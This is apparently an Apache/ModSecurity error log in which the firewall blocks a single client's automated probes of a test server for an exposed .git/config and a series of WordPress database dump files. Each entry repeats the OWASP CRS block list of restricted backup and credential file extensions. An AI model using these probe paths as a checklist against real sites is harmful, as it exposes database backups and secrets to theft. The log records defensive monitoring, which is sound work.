[Thu Feb 26 01:03:30.956783 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizqAAAAAA&quot;]
[Thu Feb 26 01:03:30.956954 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizqAAAAAA&quot;]
[Thu Feb 26 01:03:30.980368 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db.sql&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizqQAAAAA&quot;]
[Thu Feb 26 01:03:30.980886 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db.sql&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizqQAAAAA&quot;]
[Thu Feb 26 01:03:30.981072 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db.sql&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizqQAAAAA&quot;]
[Thu Feb 26 01:03:30.986316 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLieQAAAAE&quot;]
[Thu Feb 26 01:03:30.986839 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLieQAAAAE&quot;]
[Thu Feb 26 01:03:30.987009 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db.sql&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLieQAAAAE&quot;]
[Thu Feb 26 01:03:31.012228 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/mysql.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizqgAAAAA&quot;]
[Thu Feb 26 01:03:31.012767 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/mysql.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizqgAAAAA&quot;]
[Thu Feb 26 01:03:31.012947 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/mysql.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizqgAAAAA&quot;]
[Thu Feb 26 01:03:31.023681 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/db.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiegAAAAE&quot;]
[Thu Feb 26 01:03:31.024166 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/db.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiegAAAAE&quot;]
[Thu Feb 26 01:03:31.024354 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/db.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiegAAAAE&quot;]
[Thu Feb 26 01:03:31.040154 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizqwAAAAA&quot;]
[Thu Feb 26 01:03:31.040660 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizqwAAAAA&quot;]
[Thu Feb 26 01:03:31.040819 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/dump.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizqwAAAAA&quot;]
[Thu Feb 26 01:03:31.048411 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db_backup.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiewAAAAE&quot;]
[Thu Feb 26 01:03:31.048906 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db_backup.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiewAAAAE&quot;]
[Thu Feb 26 01:03:31.049067 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db_backup.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLiewAAAAE&quot;]
[Thu Feb 26 01:03:31.064310 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizrAAAAAA&quot;]
[Thu Feb 26 01:03:31.064771 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizrAAAAAA&quot;]
[Thu Feb 26 01:03:31.064917 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizrAAAAAA&quot;]
[Thu Feb 26 01:03:31.075025 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db_backup.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLifAAAAAE&quot;]
[Thu Feb 26 01:03:31.075509 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db_backup.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLifAAAAAE&quot;]
[Thu Feb 26 01:03:31.075678 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db_backup.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLifAAAAAE&quot;]
[Thu Feb 26 01:03:31.110428 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db_backup.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLifQAAAAE&quot;]
[Thu Feb 26 01:03:31.111006 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db_backup.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLifQAAAAE&quot;]
